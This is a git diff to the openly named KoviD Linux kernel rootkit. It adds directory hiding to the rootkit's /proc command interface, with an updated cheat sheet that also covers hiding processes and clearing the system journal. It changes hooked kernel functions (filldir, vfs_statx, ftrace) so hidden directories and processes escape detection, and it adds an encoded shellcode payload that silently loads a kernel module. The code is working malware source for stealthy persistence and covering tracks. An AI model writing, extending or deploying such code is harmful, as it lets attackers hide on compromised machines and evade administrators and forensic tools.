diff --git a/docs/cheatsheet-proc-interface.txt b/docs/cheatsheet-proc-interface.txt index 458d907..bdc97cd 100644 --- a/docs/cheatsheet-proc-interface.txt +++ b/docs/cheatsheet-proc-interface.txt @@ -44,29 +44,38 @@ # At full-path $ echo hide-file=/home/files/README.txt >/proc/test -#12 Hide README.txt globally - hide all instances of README.txt +#12 Hide/Unhide directories + # Hide At $PWD + $ echo hide-directory=README.txt >/proc/test + # Full-path + $ echo hide-directory=/home/files/Dir1 >/proc/test + # Unhide + $ echo unhide-directory=Dir1 >/proc/test + +#13 Hide README.txt globally - hide all instances of README.txt # bypass #10 and #11 + # Limitation: directories are not supported $ echo hide-file-anywhere=README.txt >/proc/test -#15 Undo #12 - this bypass #11 +#14 Undo #12 - this bypass #11 $ echo unhide-file=README.txt >/proc/test -#16 List hidden tasks - debug mode only +#15 List hidden tasks - debug mode only $ echo list-hidden-tasks >/proc/test $ dmesg -#17 List hidden files and directories - debug mode only +#16 List hidden files and directories - debug mode only $ echo list-hidden-files >/proc/test $ dmesg -#18 Fetch the base address of a running process by PID number +#17 Fetch the base address of a running process by PID number $ echo base-address= >/proc/test $ cat /proc/test -#19 Fetch Magik Word +#18 Fetch Magik Word $ cat /proc/test -#20 Rename a hidden process +#19 Rename a hidden process # First hide 1234 pid: $ echo 1234 >/proc/test # Then rename it at any time @@ -76,7 +85,7 @@ # Or to print all tasks (hidden or not) $ echo list-all-tasks > /proc/test -#23 Clear journal +#20 Clear journal # May need to be called twice, # until it is cleared, given vacuum limitation. # check with journalctl diff --git a/src/fs.c b/src/fs.c index 58f2982..a586499 100644 --- a/src/fs.c +++ b/src/fs.c @@ -156,9 +156,11 @@ struct fs_file_node* fs_get_file_node(const struct task_struct *task) { static LIST_HEAD(names_node); struct hidden_names { u64 ino; + u64 ino_parent; char *name; struct list_head list; bool ro; + bool is_dir; }; bool fs_search_name(const char *name, u64 ino) { @@ -176,39 +178,54 @@ bool fs_search_name(const char *name, u64 ino) { return false; } +int fs_is_dir_inode_hidden(const char *name, u64 ino) { + struct hidden_names *node, *node_safe; + int count = 0; + list_for_each_entry_safe(node, node_safe, &names_node, list) { + if (node->is_dir && ino == node->ino_parent) + count++; + } + return count; +} + void fs_list_names(void) { struct hidden_names *node, *node_safe; list_for_each_entry_safe(node, node_safe, &names_node, list) { - prinfo("hidden: '%s'\n", node->name); + if (node->is_dir) { + prinfo("hidden: '%s' [directory] ino=%llu ino_parent=%llu\n", node->name, node->ino, node->ino_parent); + } else { + prinfo("hidden: '%s' ino=%llu\n", node->name, node->ino); + } } } -static int _fs_add_name(const char *names[], bool ro, u64 ino) { - const char **s; +static int _fs_add_name(const char *name, bool ro, u64 ino, u64 ino_parent, bool is_dir) { + size_t len; - if (!names) + if (!name) goto err; - for (s = names; *s != NULL; ++s) { - size_t len = strlen(*s); - if (!len) - continue; - - if (!fs_search_name(*s, ino)) { - struct hidden_names *hn = kcalloc(1, sizeof(struct hidden_names) , GFP_KERNEL); - if (!hn) - return -ENOMEM; - - hn->name = kcalloc(1, len+1, GFP_KERNEL); - strncpy(hn->name, (const char*)*s, len); - hn->ro = ro; - hn->ino = ino; - /** the gap caused by banned words - * is the most fun - */ - prinfo("hide: '%s'\n", hn->name); - list_add_tail(&hn->list, &names_node); - } + len = strlen(name); + if (!len) + goto err; + + + if (!fs_search_name(name, ino)) { + struct hidden_names *hn = kcalloc(1, sizeof(struct hidden_names) , GFP_KERNEL); + if (!hn) + return -ENOMEM; + + hn->name = kcalloc(1, len+1, GFP_KERNEL); + strncpy(hn->name, (const char*)name, len); + hn->ro = ro; + hn->ino = ino; + hn->is_dir = is_dir; + hn->ino_parent = ino_parent; + /** the gap caused by banned words + * is the most fun + */ + prinfo("hide: '%s'\n", hn->name); + list_add_tail(&hn->list, &names_node); } return 0; err: @@ -216,33 +233,35 @@ static int _fs_add_name(const char *names[], bool ro, u64 ino) { return -EINVAL; } -int fs_add_name_ro(const char *names[], u64 ino) { - return _fs_add_name(names, true, ino); +int fs_add_name_ro(const char *name, u64 ino) { + return _fs_add_name(name, true, ino, 0, false); +} + +int fs_add_name_rw(const char *name, u64 ino) { + return _fs_add_name(name, false, ino, 0, false); } -int fs_add_name_rw(const char *names[], u64 ino) { - return _fs_add_name(names, false, ino); +int fs_add_name_rw_dir(const char *name, u64 ino, u64 ino_parent, bool is_dir) { + return _fs_add_name(name, false, ino, ino_parent, is_dir); } -bool fs_del_name(const char *names[]) { +bool fs_del_name(const char *name) { + struct hidden_names *node, *node_safe; int deleted = 0; - if (names) { - struct hidden_names *node, *node_safe; - const char **s; - for (s = names; *s != NULL; ++s) { - list_for_each_entry_safe(node, node_safe, &names_node, list) { - if (node->ro) continue; - if (!strcmp(node->name, *s)) { - prinfo("unhide: '%s'\n", *s); - list_del(&node->list); - if (node->name) - kfree(node->name); - kfree(node); - node = NULL; - ++deleted; - } - } + if (!name) + return false; + + list_for_each_entry_safe(node, node_safe, &names_node, list) { + if (node->ro) continue; + if (!strcmp(node->name, name)) { + prinfo("unhide: '%s'\n", name); + list_del(&node->list); + if (node->name) + kfree(node->name); + kfree(node); + node = NULL; + ++deleted; } } @@ -260,6 +279,26 @@ void fs_names_cleanup(void) { } } +static struct inode *_fs_get_parent_inode(struct path *file_path) { + struct dentry *parent_dentry; + if (!file_path) { + prerr("%s: invalid argument: %p\n", __FUNCTION__, file_path); + return NULL; + } + + parent_dentry = dget_parent(file_path->dentry); + if (parent_dentry) + return parent_dentry->d_inode; + return NULL; +} + +u64 fs_get_parent_inode(struct path *file_path) { + struct inode *inode = _fs_get_parent_inode(file_path); + if (inode) + return inode->i_ino; + return 0; +} + struct file *fs_kernel_open_file(const char *name) { struct file *filp; diff --git a/src/fs.h b/src/fs.h index eb68c6e..868b888 100644 --- a/src/fs.h +++ b/src/fs.h @@ -21,18 +21,18 @@ bool fs_file_stat(struct path *, struct kstat *); * This function allocates data that must * be freed when no longer needed. */ -struct fs_file_node *fs_get_file_node(const struct task_struct *task); - -bool fs_search_name(const char *name, u64); +struct fs_file_node *fs_get_file_node(const struct task_struct *); +bool fs_search_name(const char *, u64); void fs_list_names(void); -int fs_add_name_ro(const char **, u64); -int fs_add_name_rw(const char **, u64); -bool fs_del_name(const char **); +int fs_add_name_ro(const char *, u64); +int fs_add_name_rw(const char *, u64); +int fs_add_name_rw_dir(const char *, u64, u64, bool); +bool fs_del_name(const char *); void fs_names_cleanup(void); -struct fs_file_node *fs_load_fnode(struct file *f); - - -struct file *fs_kernel_open_file(const char *name); +struct fs_file_node *fs_load_fnode(struct file *); +struct file *fs_kernel_open_file(const char *); +u64 fs_get_parent_inode(struct path *); +int fs_is_dir_inode_hidden(const char *name, u64 ino); #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0) ssize_t fs_kernel_write_file(struct file *, const void *, size_t, loff_t *); @@ -42,6 +42,6 @@ ssize_t fs_kernel_write_file(struct file *, const char *, size_t, loff_t); int fs_kernel_read_file(struct file *, loff_t, char *, unsigned long); #endif -int fs_kernel_close_file(struct file *filp); -int fs_file_rm(char *name); +int fs_kernel_close_file(struct file *); +int fs_file_rm(char *); #endif //__FS_H diff --git a/src/kovid.c b/src/kovid.c index 4fd8c68..5e6c2a8 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -64,7 +64,6 @@ struct task_struct *tsk_tainted = NULL; static struct proc_dir_entry *rrProcFileEntry; struct __lkmmod_t{ struct module *this_mod; }; -static unsigned int op_lock; static DEFINE_MUTEX(prc_mtx); static DEFINE_SPINLOCK(elfbits_spin); @@ -432,9 +431,11 @@ enum { /** file stealth operations */ Opt_hide_file, + Opt_hide_directory, Opt_hide_file_anywhere, Opt_list_hidden_files, Opt_unhide_file, + Opt_unhide_directory, /** misc */ Opt_journalclt, @@ -452,9 +453,11 @@ static const match_table_t tokens = { {Opt_unhide_module, "unhide-lkm=%s"}, {Opt_hide_file, "hide-file=%s"}, + {Opt_hide_directory, "hide-directory=%s"}, {Opt_hide_file_anywhere, "hide-file-anywhere=%s"}, {Opt_list_hidden_files,"list-hidden-files"}, {Opt_unhide_file, "unhide-file=%s"}, + {Opt_unhide_directory, "unhide-directory=%s"}, {Opt_journalclt, "journal-flush"}, {Opt_fetch_base_address, "base-address=%d"}, @@ -510,42 +513,44 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, } break; case Opt_hide_file: + case Opt_hide_directory: { char *s = args[0].from; - const char *tmp[] = {NULL, NULL}; - struct kstat stat; + struct kstat stat = {0}; struct path path; if (fs_kern_path(s, &path) && fs_file_stat(&path, &stat)) { /** It is filename, no problem because we have path.dentry */ const char *f = kstrdup(path.dentry->d_name.name, GFP_KERNEL); + bool is_dir = ((stat.mode & S_IFMT) == S_IFDIR); + + if (is_dir) { + u64 parent_inode = fs_get_parent_inode(&path); + fs_add_name_rw_dir(f, stat.ino, parent_inode, is_dir); + } else { + fs_add_name_rw(f, stat.ino); + } path_put(&path); - tmp[0] = f; - fs_add_name_rw(tmp, stat.ino); kv_mem_free(&f); - } else { - if (*s != '.' && *s != '/') { - tmp[0] = s; - fs_add_name_rw(tmp, stat.ino); - } + } else if (*s != '.' && *s != '/') { + /** add with unknown inode number */ + fs_add_name_rw(s, stat.ino); } } break; + case Opt_unhide_file: + case Opt_unhide_directory: + fs_del_name(args[0].from); + break; + /* Currently, directories must + * be added individually: use hide-directory + * */ case Opt_hide_file_anywhere: - { - const char *n[] = {args[0].from,NULL}; - fs_add_name_rw(n, 0); - } + fs_add_name_rw(args[0].from, 0); break; case Opt_list_hidden_files: fs_list_names(); break; - case Opt_unhide_file: - { - const char *n[] = {args[0].from, NULL}; - fs_del_name(n); - } - break; case Opt_journalclt: { char *cmd[] = {JOURNALCTL, "--rotate", NULL}; @@ -745,7 +750,7 @@ static int __init kv_init(void) { int rv = 0; char *procname_err = ""; - const char *hideprocname[] = {PROCNAME, NULL}; + const char **name; #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,17,0) struct kernel_syscalls *kaddr = NULL; #endif @@ -789,7 +794,7 @@ static int __init kv_init(void) { if (!tsk_prc) goto unroll_init; - fs_add_name_ro(hideprocname, 0); + fs_add_name_ro(PROCNAME, 0); tsk_tainted = kthread_run(_reset_tainted, NULL, THREAD_TAINTED_NAME); if (!tsk_tainted) @@ -815,17 +820,19 @@ static int __init kv_init(void) { kv_hide_task_by_pid(tsk_prc->pid, 0, CHILDREN); kv_hide_task_by_pid(tsk_tainted->pid, 0, CHILDREN); - /** hide magic filenames & directories */ - fs_add_name_ro(hide_names, 0); - /** hide magic filenames, directories and processes */ - fs_add_name_ro(kv_get_hide_ps_names(), 0); + for (name = hide_names; *name != NULL; ++name) { + fs_add_name_ro(*name, 0); + } + + for (name = kv_get_hide_ps_names(); *name != NULL; ++name) { + fs_add_name_ro(*name, 0); + } kv_scan_and_hide(); #ifndef DEBUG_RING_BUFFER kv_hide_mod(); - op_lock = 1; #endif prinfo("loaded.\n"); diff --git a/src/persist.S b/src/persist.S index 6769c8e..ff135ff 100644 --- a/src/persist.S +++ b/src/persist.S @@ -1,36 +1,36 @@ -# BSD 3-Clause License -# -# Copyright (c) 2024, Carlos Carvalho -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, this -# list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, -# this list of conditions and the following disclaimer in the documentation -# and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its -# contributors may be used to endorse or promote products derived from -# this software without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -# © 2022 GitHub, Inc. -# Terms -# Privacy -# Security +/** + * Linux Kernel version <= 5.8.0 + * - hash + * + * KoviD rootkit + * + * This code is designed to serve as the payload for Volundr. + * + * While it can be readily customized to execute other commands, + * its primary purpose is to load a Linux Kernel Module (LKM) quietly. + * + * Make sure to read this! You will need the 'loadmodule.sh' script: + * + * ---snip--- + * #!/bin/bash + * /sbin/insmod $1 2>/dev/null + * ---snip--- + * + * \x50\x51\x52\x56\x57\x41\x53\xb8\x39\x00\x00\x00\x0f\x05\x83\xf8\x00\x75 + * \x31\x48\x8d\x05\xb9\x00\x00\x00\x48\x8d\x3d\xa6\x00\x00\x00\x48\x31\xd2 + * \x52\x50\x57\x48\x89\xe6\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\x8f\x00 + * \x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05\x48\x31\xc0\xb8\x02\x00\x00 + * \x00\x48\x8d\x3d\x8f\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x0f\x05\x48 + * \x83\xec\x10\x48\x89\xc7\xb8\x00\x00\x00\x00\x48\x89\xe6\x48\xc7\xc2\x11 + * \x00\x00\x00\x0f\x05\x48\xc7\xc1\x12\x00\x00\x00\xb0\x2d\x48\x89\xe7\xfc + * \xf2\xae\x49\xc7\xc5\x11\x00\x00\x00\x49\x29\xcd\x4c\x89\xe9\x48\x31\xdb + * \x48\x89\xe6\x48\x89\xf7\xfc\xac\x3c\x39\x7e\x04\x2c\x57\xeb\x02\x2c\x30 + * \x48\xc1\xe3\x04\x48\x09\xc3\xaa\xe2\xeb\x48\x83\xc4\x10\x49\xb8\x88\x77 + * \x66\x55\x44\x33\x22\x11\x49\x01\xd8\x41\x5b\x5f\x5e\x5a\x59\x58\x41\xff + * \xe0\x2f\x76\x61\x72\x2f\x2e\x6c\x6d\x2e\x73\x68\x2f\x76\x61\x72\x2f\x2e + * \x6b\x76\x2e\x6b\x6f\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x6d\x61 + * \x70\x73 + */ .globl _start diff --git a/src/pid.c b/src/pid.c index 99a1aba..2936b0f 100644 --- a/src/pid.c +++ b/src/pid.c @@ -43,7 +43,6 @@ static struct task_struct *_check_hide_by_pid(pid_t pid) */ static int _hide_task(void *data) { char pidnum[32] = {0}; - const char *pidstr[] = {NULL,NULL}; struct hidden_tasks *ht; #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,18,0) struct hlist_node *link; @@ -79,11 +78,10 @@ static int _hide_task(void *data) { /** hide /proc/ */ snprintf(pidnum, sizeof(pidnum), "%d", node->task->pid); - pidstr[0] = pidnum; prinfo("hide [%p] %s : %d\n", ht->task, ht->task->comm, ht->task->pid); - fs_add_name_rw(pidstr, 0); + fs_add_name_rw_dir(pidnum, 0, 0 /**XXX*/, true); /** debug */ diff --git a/src/sys.c b/src/sys.c index cdaeb48..5e70618 100644 --- a/src/sys.c +++ b/src/sys.c @@ -244,6 +244,7 @@ static bool _ftrace_intercept(struct pt_regs *regs) { _ftrace_intercept_init(false)) { char current_value[16+1] = {0}; char output[] = "1\n"; + size_t output_size; arg = (const char __user *)PT_REGS_PARM2(regs); if (copy_from_user(current_value, (void *)arg, 16)) @@ -251,7 +252,7 @@ static bool _ftrace_intercept(struct pt_regs *regs) { current_value[sizeof(current_value) - 1] = '\0'; strncpy(output, kv_prev_ftrace_enabled, sizeof(output)); - size_t output_size = sizeof(output) - 1; + output_size = sizeof(output) - 1; if (!copy_to_user((void*)arg, output, output_size)) rc = true; @@ -734,6 +735,13 @@ static int (*real_filldir)(struct dir_context *, const char *, int, loff_t, u64 static int m_filldir(struct dir_context *ctx, const char *name, int namlen,loff_t offset, u64 ino, unsigned int d_type) { #endif + /** For certain hidden files we don't have inode number initially, + * when hidden with "hide-file-anywhere" but it is available here + * and it is updated below, if needed. + * Also for files hidden anywhere same file can live + * in multiple directories, thus inode number may + * be updated to the current directory being listed + */ if (fs_search_name(name, ino)) return 0; return real_filldir(ctx, name, namlen, offset, ino, d_type); @@ -749,7 +757,12 @@ static int m_filldir64(struct dir_context *ctx, const char *name, int namlen,lof if (fs_search_name(name, ino)) return 0; + return real_filldir64(ctx, name, namlen, offset, ino, d_type); + +match: + prinfo("Hiding '%s' from ino=%llu\n", name, ino); + return 0; } #define MAXKEY 512 @@ -998,18 +1011,32 @@ static __always_inline struct pt_regs *ftrace_get_regs(struct ftrace_regs *fregs static long (*real_vfs_statx)(int, const char __user *, int, struct kstat *, u32); static long m_vfs_statx(int dfd, const char __user *filename, int flags, struct kstat *stat, u32 request_mask) { - /** size is more than enough for what is needed here. */ + /** XXX do I need this much */ char kernbuf[PROCNAME_MAXLEN+6] = {0}; + /* call original first, I want stat */ + long rv = real_vfs_statx(dfd, filename, flags, stat, request_mask); + + /** handle two distinct operations + * 1 If is directory, look for hidden file names + * and update hard-links counter accordingly. + * 2 make stat fail for /proc interface. + * */ if (!copy_from_user((void*)kernbuf, filename, sizeof(kernbuf)-1)) { + if (strlen(kernbuf) > 0 && S_ISDIR(stat->mode)) { + int count = fs_is_dir_inode_hidden((const char *)kernbuf, stat->ino); + if (count > 0) { + prinfo("%s: file match ino=%llu nlink=%d count=%d\n", __func__, stat->ino, stat->nlink, count); - /** we don't exist */ - if (strstr(kernbuf, PROCNAME)) - return -ENOENT; + /* Hit(s) -> decrement hard-link counts */ + stat->nlink -= count; + } + } else if (strstr(kernbuf, PROCNAME)) { + /* Mauro? */ + rv = -ENOENT; + } } - - /** return normal */ - return real_vfs_statx(dfd, filename, flags, stat, request_mask); + return rv; } /** @@ -1281,22 +1308,26 @@ bool sys_init(void) { if (_sys_file_init(64, 64)) { char *tty = strrchr(sys_get_ttyfile(), '.'); char *ssl = strrchr(sys_get_sslfile(), '.'); - const char *files_to_hide[] = {tty, ssl, NULL}; + + if (!tty || !ssl) { + prerr("sys_init: Invalid parameter\n"); + return rc; + } /** init fist a couple of hidden files */ - if (tty && ssl && fs_add_name_ro(files_to_hide, 0) == 0) { - - rc = !fh_install_hooks(ft_hooks); - if (rc) { - for (idx = 0; ft_hooks[idx].name != NULL; ++idx) - prinfo("ftrace hook %d on %s\n", idx, ft_hooks[idx].name); - - /** Init tty log */ - ttyfilp = fs_kernel_open_file(sys_get_ttyfile()); - if (!ttyfilp) { - prerr("Failed loading tty file\n"); - rc = false; - } + fs_add_name_ro(tty, 0); + fs_add_name_ro(ssl, 0); + + rc = !fh_install_hooks(ft_hooks); + if (rc) { + for (idx = 0; ft_hooks[idx].name != NULL; ++idx) + prinfo("sys_init: ftrace hook %d on %s\n", idx, ft_hooks[idx].name); + + /** Init tty log */ + ttyfilp = fs_kernel_open_file(sys_get_ttyfile()); + if (!ttyfilp) { + prerr("sys_init: Failed loading tty file\n"); + rc = false; } } }